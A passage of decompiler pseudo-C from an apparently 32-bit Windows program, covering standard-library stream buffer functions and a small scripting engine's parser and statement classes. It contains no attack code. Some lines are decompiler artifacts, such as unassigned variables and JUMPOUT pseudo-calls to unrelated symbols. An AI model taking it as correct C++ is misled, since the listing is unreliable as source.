esi@1 v1 = (std::basic_streambuf > *)this; this->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy(this); std::basic_streambuf>::_basic_streambuf>(v1); } // 5B1210: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (0049AFD0) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta) { char *v2; // eax@1 int result; // eax@7 v2 = *this->baseclass_0._IGnext; if ( !v2 || v2 <= *this->baseclass_0._IGfirst || _Meta != -1 && (_BYTE)_Meta != *(v2 - 1) && this->_Mystate & 2 ) { result = -1; } else { ++*this->baseclass_0._IGcount; --*this->baseclass_0._IGnext; if ( _Meta == -1 ) { result = 0; } else { **this->baseclass_0._IGnext = _Meta; result = _Meta; } } return result; } //----- (0049B030) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this) { char **v1; // edx@1 char *v2; // esi@1 int result; // eax@2 int *v4; // edi@3 char *v5; // eax@6 v1 = this->baseclass_0._IGnext; v2 = *v1; if ( *v1 ) { v4 = this->baseclass_0._IGcount; if ( *v1 >= &(*v1)[*v4] ) { if ( this->_Mystate & 4 || (v5 = *this->baseclass_0._IPnext) == 0 || v5 <= v2 && this->_Seekhigh <= v2 ) { result = -1; } else { if ( this->_Seekhigh < v5 ) this->_Seekhigh = v5; *v4 = this->_Seekhigh - *v1; result = **this->baseclass_0._IGnext; } } else { result = (unsigned __int8)*v2; } } else { result = -1; } return result; } //----- (0049B0A0) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which) { char **v5; // edx@1 char *v6; // eax@1 char *v7; // esi@5 const __int32 v8; // edi@6 unsigned int v9; // edx@7 char *v10; // eax@15 int v11; // eax@16 char **v12; // edi@17 char *v13; // esi@18 int v14; // eax@18 char *v15; // esi@21 char *v16; // eax@29 int v17; // eax@30 std::fpos *v18; // eax@32 v5 = this->baseclass_0._IPnext; v6 = *v5; if ( *v5 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( !(_Which & 1) || (v7 = *this->baseclass_0._IGnext) == 0 ) { if ( !(_Which & 2) || (v15 = *v5) == 0 ) { v9 = std::_BADOFF; goto LABEL_32; } v8 = std::_BADOFF; if ( _Way == 2 ) { v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; } else { if ( _Way == 1 ) { v9 = v15 - *this->baseclass_0._IGfirst + _Off; } else { v9 = std::_BADOFF; if ( !_Way ) v9 = _Off; } } if ( (v9 & 0x80000000u) == 0 ) { v16 = *this->baseclass_0._IGfirst; if ( (signed int)v9 <= (signed int)(this->_Seekhigh - v16) ) { v17 = v9 + v16 - v15; *this->baseclass_0._IPcount -= v17; *this->baseclass_0._IPnext += v17; goto LABEL_32; } } goto LABEL_19; } v8 = std::_BADOFF; if ( _Way != 2 ) { if ( _Way == 1 ) { if ( !(_Which & 2) ) { v9 = v7 - *this->baseclass_0._IGfirst + _Off; goto LABEL_14; } } else { if ( !_Way ) { v9 = _Off; goto LABEL_14; } } v9 = std::_BADOFF; goto LABEL_14; } v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; LABEL_14: if ( (v9 & 0x80000000u) != 0 || (v10 = *this->baseclass_0._IGfirst, (signed int)v9 > (signed int)(this->_Seekhigh - v10)) ) { LABEL_19: v9 = v8; goto LABEL_32; } v11 = v9 + v10 - v7; *this->baseclass_0._IGcount -= v11; *this->baseclass_0._IGnext += v11; if ( _Which & 2 ) { v12 = this->baseclass_0._IPnext; if ( *v12 ) { v13 = *this->baseclass_0._IGnext; v14 = (int)&(*v12)[*this->baseclass_0._IPcount]; *v12 = v13; *this->baseclass_0._IPcount = v14 - (_DWORD)v13; } } LABEL_32: v18 = result; result->_Myoff = v9; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v18; } // 5DBBDC: using guessed type const __int32 std___BADOFF; // 12441B44: using guessed type int std__fpos_int____Stz; // 1466CC10: using guessed type __int64 std___Fpz; //----- (0049B210) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode) { char **v4; // edi@1 int v5; // edx@1 char *v6; // eax@1 char *v7; // esi@6 char *v8; // eax@8 int v9; // eax@9 char **v10; // edi@10 char *v11; // esi@11 int v12; // eax@11 char *v13; // edi@13 char *v14; // eax@15 int v15; // eax@16 std::fpos *v16; // eax@18 v4 = this->baseclass_0._IPnext; v5 = _Ptr._Myoff + LODWORD(_Ptr._Fpos); v6 = *v4; if ( *v4 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( v5 != std::_BADOFF ) { if ( _Mode & 1 && (v7 = *this->baseclass_0._IGnext) != 0 ) { if ( v5 >= 0 ) { v8 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v8) ) { v9 = v5 + v8 - v7; *this->baseclass_0._IGcount -= v9; *this->baseclass_0._IGnext += v9; if ( _Mode & 2 ) { v10 = this->baseclass_0._IPnext; if ( *v10 ) { v11 = *this->baseclass_0._IGnext; v12 = (int)&(*v10)[*this->baseclass_0._IPcount]; *v10 = v11; *this->baseclass_0._IPcount = v12 - (_DWORD)v11; } } goto LABEL_18; } } } else { if ( _Mode & 2 ) { v13 = *v4; if ( v13 ) { if ( v5 >= 0 ) { v14 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v14) ) { v15 = v5 + v14 - v13; *this->baseclass_0._IPcount -= v15; *this->baseclass_0._IPnext += v15; goto LABEL_18; } } } } } v5 = std::_BADOFF; } LABEL_18: v16 = result; result->_Myoff = v5; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v16; } // 5DBBDC: using guessed type const __int32 std___BADOFF; // 12441B44: using guessed type int std__fpos_int____Stz; // 1466CC10: using guessed type __int64 std___Fpz; //----- (0049B300) -------------------------------------------------------- void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 4; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 1) + 4) - 4) = &std::basic_ostream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5B10E8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); //----- (0049B330) -------------------------------------------------------- void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 8; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5B10F0: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (0049B360) -------------------------------------------------------- void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_streambuf>::_basic_streambuf>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049B380) -------------------------------------------------------- void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 12; v3 = (std::basic_ios > *)this; std::basic_iostream>::_basic_iostream>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049B3B0) -------------------------------------------------------- void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049B3D0) -------------------------------------------------------- void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 void *v2; // eax@1 std::locale *v3; // eax@2 v1 = this; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; std::_Mutex::_Mutex(&this->_Mylock); v2 = operator new(4u); if ( v2 ) std::locale::locale((std::locale *)v2); else v3 = 0; v1->_Plocale = v3; std::basic_streambuf>::_Init(v1); } // 5B11DC: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (0049B440) -------------------------------------------------------- std::ctype *__cdecl std::use_facet>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>::_Psave; v9 = 0; _Psave = std::_Facetptr>::_Psave; if ( !std::ctype::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::ctype::id ) { ++std::locale::id::_Id_cnt; std::ctype::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::ctype::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::ctype::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::ctype *)v2; } // 12441B48: using guessed type int std___Facetptr_std__ctype_char_____Psave; // 1466CBF0: using guessed type int std__locale__id___Id_cnt; //----- (0049B550) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // ebx@5 void *v6; // eax@5 void *v7; // esi@6 void *v8; // eax@9 int v9; // ecx@12 int v10; // esi@13 PineEventScriptNode::Statement *v11; // edx@14 void *v12; // ecx@16 void *v13; // edx@16 int v14; // esi@16 int v15; // ecx@18 int v16; // edx@19 int v17; // eax@21 int v18; // edx@21 void *v19; // ST10_4@21 void **v20; // eax@21 void *v21; // eax@21 void *v22; // esi@22 ListArray *v23; // edx@23 void *newarray; // [sp+8h] [bp-10h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; if ( !v4 ) return 0; v5 = extsize + v4->la_Size; v6 = operator new__(8 * v5 + 4); if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 8u, v5, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); extsizea = v7; } else { extsizea = 0; v7 = 0; } if ( !v7 ) return 0; v8 = operator new__(12 * v5 + 12); newarray = v8; if ( !v8 ) { _eh_vector_destructor_iterator_( v7, 8u, *((_DWORD *)v7 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__((char *)v7 - 4); return 0; } v9 = 0; if ( v2->l_ListArray->la_Size > 0 ) { v10 = (int)((char *)v7 + 4); do { v11 = v2->l_ListArray->la_Array; *(_DWORD *)v10 = v11[v9].s_Statement; v11[v9++].s_Statement = 0; v10 += 8; } while ( v9 < v2->l_ListArray->la_Size ); } memcpy(v8, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v12 = extsizea; v13 = v8; v14 = v5; do { *(_DWORD *)v13 = v12; v12 = (char *)v12 + 8; v13 = (char *)v13 + 12; --v14; } while ( v14 ); } v15 = v2->l_MaxSize; if ( v15 < v5 ) { v16 = (int)((char *)v8 + 12 * v15 + 4); do { *(_WORD *)v16 = v15 + 1; *(_BYTE *)(v16 + 4) = 0; *(_WORD *)(v16 + 2) = v15++ - 1; v16 += 12; } while ( v15 < v5 ); } *((_WORD *)v8 + 6 * v2->l_MaxSize + 3) = v5 - 1; v17 = (int)((char *)v8 + 12 * v5); *(_WORD *)(v17 - 8) = v2->l_MaxSize; v18 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v17 = *(_DWORD *)v18; *(_DWORD *)(v17 + 4) = *(_DWORD *)(v18 + 4); *(_DWORD *)(v17 + 8) = *(_DWORD *)(v18 + 8); v19 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v19); v20 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v21 = *v20; if ( v21 ) { v22 = (char *)v21 - 4; _eh_vector_destructor_iterator_( v21, 8u, *((_DWORD *)v21 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v22); } v2->l_ListArray->la_Array = (PineEventScriptNode::Statement *)extsizea; v23 = v2->l_ListArray; v2->l_MaxSize = v5; v23->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (0049B7D0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)(v3 + 4) = ele->s_Statement; return 1; } // 49B7E5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049B800) -------------------------------------------------------- void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs) { std::num_put > > *v2; // esi@1 std::_Locinfo thisa; // [sp+8h] [bp-80h]@1 int v4; // [sp+84h] [bp-4h]@1 v2 = this; this->baseclass_0._Refs = _Refs; v4 = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::num_put>>::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); *(_QWORD *)&v2->_Cvt._Hand = _Getcvt(); std::_Locinfo::__Locinfo(&thisa); } // 5B1250: using guessed type int (__thiscall *std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char______vftable_)(void *p, char); //----- (0049B880) -------------------------------------------------------- void *__thiscall std::num_put>>::_scalar_deleting_destructor_(std::num_put > > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::locale::facet::_facet(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049B8A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command) { PineEventScriptNode::StatementBaseExpress *v2; // eax@1 char *v3; // ecx@1 char v4; // dl@2 v2 = this; v3 = command; v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatementBaseExpress::_vftable_; v2->sbe_Express.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2->sbe_Express.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2->sbe_Express.e_Term.t_Atom = 0; v2->sbe_Express.e_Term.t_Term = 0; v2->sbe_Express.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; v2->sbe_Express.e_Oper.co_Oper.pst_Buffer[0] = 0; v2->sbe_Express.e_Oper.co_OperType = 0; v2->sbe_Express.e_Express = 0; do { v4 = *v3; v3[v2->sbe_Command - command] = *v3; ++v3; } while ( v4 ); } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5B1274: using guessed type int (__stdcall *PineEventScriptNode__StatementBaseExpress___vftable_)(int tr); //----- (0049B8F0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v3; // edx@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // eax@4 PineScriptToken *v6; // esi@6 PineScriptToken rst; // [sp+8h] [bp-104h]@5 v3 = this->i_Id; if ( v3 ) { result = varname; if ( varname ) memcpy(varname, &v3->i_Identify, 0x100u); } else { v5 = this->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) { v6 = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); result = varname; memcpy(varname, v6, 0x100u); } else { result = 0; } } return result; } //----- (0049B9B0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v2; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v4; // ecx@4 PineScriptToken rst; // [sp+8h] [bp-108h]@2 v2 = this->i_Id; if ( v2 ) { memcpy(&rst, &v2->i_Identify, sizeof(rst)); result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); } else { if ( this->i_Exp && (v4 = this->i_Exp, rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); else result = 0; } return result; } //----- (0049BA60) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x140u); v2 = (PineEventScriptNode::StatementBase *)v1; if ( v1 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v1, "print"); v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePrint::_vftable_; result = v2; } else { result = 0; } return result; } // 5B1288: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); //----- (0049BA90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateVarDeclear *v4; // ebp@1 int v5; // eax@1 char *v6; // edi@2 PineEventScriptNode::Identify *v7; // esi@2 PineScriptToken *v8; // eax@3 PineScriptToken *v9; // eax@3 int v10; // eax@6 int i; // [sp+10h] [bp-108h]@1 PineScriptToken varname; // [sp+14h] [bp-104h]@1 v4 = this; v5 = this->svd_VarNum; varname.pst_Buffer[0] = 0; i = 0; if ( v5 <= 0 ) { LABEL_6: v10 = ps->ps_StackPoint; if ( v10 ) { ps->ps_StackPoint = v10 - 1; LOWORD(v10) = 1; } } else { v6 = (char *)this->svd_Express; v7 = this->svd_VarName; while ( 1 ) { v8 = PineEventScriptNode::Identify::i_GetToken(v7, &varname, ps); v9 = PineScriptStack::VariableStack::vs_Push(&ps->ps_VarStack, v8); if ( !v9 ) break; if ( !(*(int (__thiscall **)(char *, PineScriptToken *, PineScriptStack::ProcessStack *))(*(_DWORD *)v6 + 8))( v6, v9, ps) ) break; ++v7; v6 += 284; ++i; if ( i >= v4->svd_VarNum ) goto LABEL_6; } LOWORD(v10) = 0; } return v10; } //----- (0049BB50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::Express *v4; // eax@1 unsigned __int16 result; // ax@2 PineScriptToken *v6; // eax@3 PineScriptToken exitblock; // [sp+0h] [bp-104h]@1 v4 = this->b_Break; exitblock.pst_Buffer[0] = 0; if ( v4 ) { v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))this->b_Break->baseclass_0.vfptr->sa_Calculate)( &exitblock, ps); result = PineScriptStack::ProcessStack::ps_ExitBlock(ps, v6); } else { result = PineScriptStack::ProcessStack::ps_ExitBlock(ps, 0); } return result; } //----- (0049BBD0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateCall *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // eax@2 int v8; // ecx@3 int v9; // eax@4 int v10; // ecx@5 PineScriptToken *v11; // eax@9 PineEventScriptNode::ScriptAtom *v12; // eax@9 const char *v14; // [sp+4h] [bp-110h]@7 PineScriptToken blockname; // [sp+10h] [bp-104h]@2 v4 = this; if ( *ip ) { v9 = ps->ps_StackPoint; if ( v9 ) { ps->ps_StackPoint = v9 - 1; LOWORD(v9) = 1; } } else { *ip = 1; v5 = this->sc_CallBlock.baseclass_0.vfptr; blockname.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &blockname, ps); v7 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v6); if ( v7 ) { v8 = ps->ps_StackPoint; if ( (unsigned int)v8 < 0x1F ) { v10 = v8 + 1; ps->ps_StackPoint = v10; ps->ps_Stack[v10].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v7; LOWORD(v9) = 1; } else { LOWORD(v9) = 0; } } else { if ( v4->sc_DefaultBlock ) { v11 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sc_DefaultBlock->baseclass_0.vfptr->sa_Calculate)( &blockname, ps); v12 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v11); if ( v12 ) { LOWORD(v9) = PineScriptStack::ProcessStack::ps_Push(ps, v12); return v9; } v14 = (const char *)&blockname; } else { v14 = (const char *)&blockname; } AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::StateCall::sa_Step : not exist default routine", v14); LOWORD(v9) = 0; } } return v9; } //----- (0049BD60) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@2 result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &this->i_Identify); if ( result ) { v4 = result; result = buffer; memcpy(buffer, v4, 0x100u); } return result; } //----- (0049BD90) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::ScriptAtom *v3; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Term *v5; // eax@3 PineScriptToken *v6; // eax@4 v3 = this->t_Atom; if ( v3 ) { result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v3->vfptr->sa_Calculate)(buffer, ps); } else { v5 = this->t_Term; if ( v5 ) { v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v5->baseclass_0.vfptr->sa_Calculate)(buffer, ps); memcpy(buffer, PineScriptStack::ProcessStack::ps_FindVariable(ps, v6), 0x100u); result = buffer; } else { result = 0; } } return result; } //----- (0049BDE0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // edx@1 PineScriptToken *result; // eax@2 int v5; // eax@3 int v6; // eax@8 int v7; // edx@13 PineScriptReader::TokenReader *v8; // ecx@13 v2 = this; v3 = &this->tr_UngetToken; if ( this->tr_UngetToken.pst_Buffer[0] ) { result = tkn; memcpy(tkn, v3, 0x100u); *(_BYTE *)v3 = 0; } else { PineScriptReader::CharacterReader::cr_SkipSpace(&this->tr_CharReader); v5 = v2->tr_CharReader.cr_UngetBuffer; if ( v5 == -1 ) v5 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v5 == -1 ) { v2->tr_ErrCode = "Unexpected EOF"; result = 0; } else { v2->tr_BufPnt = 0; v2->tr_Buffer.pst_Buffer[0] = v5; LOBYTE(v6) = v2->tr_Buffer.pst_Buffer[0]; ++v2->tr_BufPnt; if ( (_BYTE)v6 == 34 ) { result = PineScriptReader::TokenReader::tr_ReadString(v2, tkn); } else { v6 = (unsigned __int8)v6; if ( (signed int)(unsigned __int8)v6 < 48 || v6 > 57 ) { if ( PineScriptReader::TokenReader::tr_isAlNum(v2, v6) ) { result = PineScriptReader::TokenReader::tr_ReadIdent(v8, tkn); } else { result = tkn; v2->tr_Buffer.pst_Buffer[v7] = 0; memcpy(tkn, &v2->tr_Buffer, 0x100u); } } else { result = PineScriptReader::TokenReader::tr_ReadNumber(v2, tkn); } } } } return result; } //----- (0049BED0) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this) { std::basic_ostream > *v1; // esi@1 char *v2; // eax@1 signed int v3; // edi@1 int v4; // ecx@4 int v5; // eax@5 v1 = this; v2 = (char *)this + *(_DWORD *)(*(_DWORD *)&this->dummy[0] + 4); v3 = 0; if ( !(v2[8] & 6) && (*(int (__thiscall **)(_DWORD))(**((_DWORD **)v2 + 10) + 44))(*((_DWORD *)v2 + 10)) == -1 ) v3 = 4; v4 = (int)((char *)v1 + *(_DWORD *)(*(_DWORD *)&v1->dummy[0] + 4)); if ( v3 ) { v5 = v3 | *(_DWORD *)(v4 + 8); if ( !*(_DWORD *)(v4 + 40) ) v5 |= 4u; std::ios_base::clear((std::ios_base *)v4, v5, 0); } return v1; } //----- (0049BF30) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this) { std::basic_streambuf > *v1; // esi@1 int v2; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 21) + 4) - 84) = &std::basic_stringstream_std::allocator>::_vftable_; v1 = (std::basic_streambuf > *)((char *)this - 72); *((_DWORD *)this - 18) = &std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy((std::basic_stringbuf,std::allocator > *)this - 1); std::basic_streambuf>::_basic_streambuf>(v1); *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( v1 == (std::basic_streambuf > *)12 ) v2 = 0; else v2 = (int)((char *)v1 - 4); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 4) + v2) = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 5B10E8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5B10F0: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5B10F4: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); // 5B1210: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); // 5B12FC: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (0049BFC0) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta) { std::basic_stringbuf,std::allocator > *v2; // ebp@1 char **v3; // esi@2 char *v4; // edx@2 char *v5; // ecx@3 int v6; // eax@4 int result; // eax@5 unsigned int v8; // esi@7 int *v9; // ecx@8 unsigned int v10; // edx@12 int v11; // ecx@13 unsigned int v12; // ecx@14 void *v13; // ebx@16 void *v14; // eax@21 const void *v15; // esi@23 char **v16; // ecx@27 char **v17; // ecx@30 char *v18; // edx@30 int v19; // ecx@30 int v20; // ecx@30 char *v21; // 